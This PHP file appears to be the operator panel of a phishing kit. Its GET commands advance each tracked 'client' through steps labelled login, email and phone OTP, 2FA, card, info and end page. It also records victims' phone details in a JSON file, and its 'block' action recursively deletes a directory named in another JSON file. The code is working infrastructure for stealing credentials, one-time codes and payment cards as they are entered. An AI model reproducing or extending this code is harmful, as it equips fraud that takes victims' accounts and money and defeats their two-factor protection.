<?php 
require_once('../config.php');
function html_sanitize($input){ 
    $input = htmlspecialchars($input);
    return $input;
}

$datass = html_sanitize($_GET['lo']);

if($texti = strpos($datass, 'login') !== false) {    
    $whatIWant = substr($datass, $texti+4);
    $mse = "Approve Client ".$whatIWant." to Login";    
echo $mse;
    submitUpdate($whatIWant,10);
}
elseif($texti = strpos($datass, 'emip') !== false) {
    $whatIWant = substr($datass, $texti+3);
    $mse = "Approve Client ".$whatIWant." to Email OTP Code";    

echo $mse;

    submitUpdate($whatIWant,15);
}elseif($texti = strpos($datass, 'phim') !== false) {
    $whatIWant = substr($datass, $texti+3);
    $mse = "Approve Client ".$whatIWant." to Phone OTP Code";    

echo $mse;

    submitUpdate($whatIWant,16);
}elseif($texti = strpos($datass, 'etip') !== false) {
    $whatIWant = substr($datass, $texti+3);
    $mse = "Approve Client ".$whatIWant." to Email OTP";    

echo $mse;

    submitUpdate($whatIWant,14);
}elseif($texti = strpos($datass, 'rlog') !== false) {    
    $whatIWant = substr($datass, $texti+3);
    $mse = "Approve Client ".$whatIWant." to Re login";    
echo $mse;

    submitUpdate($whatIWant,11);
}elseif($texti = strpos($datass, 'otp') !== false) {
    $whatIWant = substr($datass, $texti+2);
    $mse = "Approve Client ".$whatIWant." to 2FA";    

echo $mse;

    submitUpdate($whatIWant,6);
}elseif($texti = strpos($datass, 'onetime') !== false) {
    $whatIWant = substr($datass, $texti+6);
    $mse = "Approve Client ".$whatIWant." to Onetime";    

echo $mse;

    submitUpdate($whatIWant,5);
}
elseif($texti = strpos($datass, 'phone') !== false) {
      $whatIWant = substr($datass, $texti+4);

   echo '<script> window.location="https://'.$lurl.'Admin/cd.php?uid='.$whatIWant.'" </script>';

   
//echo $mse.'<br/>https://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?lo=auph'.$whatIWant.'&ph=Iphone&nu=00';

}elseif($texti = strpos($datass, 'auph') !== false) {
    $whatIWant = substr($datass, $texti+3);
     $mse = "Approve Client ".$whatIWant." to Phone Verify";    

        $file="pne.json";
    $ud=file_get_contents($file);
	$udarray = json_decode($ud);
    $ids = $_SESSION['client'];
    if(isset($udarray->{$whatIWant})){
	$udarray->$whatIWant->phone=html_sanitize($_GET['ph']); 
	$udarray->$whatIWant->number=html_sanitize($_GET['nu']); 
		file_put_contents($file,json_encode((object)$udarray));
    }else{
               $jsoio =  array('phone' => html_sanitize($_GET['ph']),'number' => html_sanitize($_GET['nu']));
		$udarray->$whatIWant = (object)$jsoio;
        file_put_contents($file,json_encode((object)$udarray));

    }
echo $mse;

    submitUpdate($whatIWant,13);
}
elseif($texti = strpos($datass, 'email') !== false) {
    $whatIWant = substr($datass, $texti+4);
    $mse = "Approve Client ".$whatIWant." to Email";    

echo $mse;

    submitUpdate($whatIWant,2);
}elseif($texti = strpos($datass, 'rmail') !== false) {
    $whatIWant = substr($datass, $texti+4);
    $mse = "Approve Client ".$whatIWant." to Wrong Email";    

echo $mse;

    submitUpdate($whatIWant,17);
}elseif($texti = strpos($datass, 'card') !== false) {
    $whatIWant = substr($datass, $texti+3);
    $mse = "Approve Client ".$whatIWant." to Card";    

        echo $mse;

    submitUpdate($whatIWant,3);
}
elseif($texti = strpos($datass, 'info') !== false) {
    $whatIWant = substr($datass, $texti+3);
    $mse = "Approve Client ".$whatIWant." to Info";    

echo $mse;

    submitUpdate($whatIWant,4);
}
elseif($texti = strpos($datass, 'finsh') !== false) {
    $whatIWant = substr($datass, $texti+4);
    $mse = "Approve Client ".$whatIWant." to End Page";    


echo $mse;

    submitUpdate($whatIWant,7);
}elseif($texti = strpos($datass, 'block') !== false) {
    $whatIWant = substr($datass, $texti+4);
    $mse = "Approve Client ".$whatIWant." to block";    

    echo $mse;

    submitUpdate($whatIWant,1);
}else{
    $mse = "Not your board";    
    echo $mse;

}



function submitUpdate($clid, $prop){
$file="live.json";
$ud=file_get_contents($file);
    	$udarray = json_decode($ud);
	$id = $clid;
	if(isset($udarray->{$id})){
		$udarray->$id->step=$prop;
		if($prop=="1"){
		
			$filed="dve.json";
			$uds=file_get_contents($filed);
			$udsarray = json_decode($uds);
				if($udsarray->id == $id){
					rmrf('../'.$udsarray->d);	
					unset($udsarray->id);
					unset($udsarray->d);
					file_put_contents($filed,json_encode((object)$udsarray));
				}
				
			
			unset($udarray->$id);
			$udarray->$id->step=0;
		
		};
		file_put_contents($file,json_encode((object)$udarray));
	};
}

function rmrf($dir) {
    foreach (glob($dir) as $file) {
        if (is_dir($file)) { 
            rmrf("$file/*");
            rmdir($file);
        } else {
            unlink($file);
        }
    }
}

?>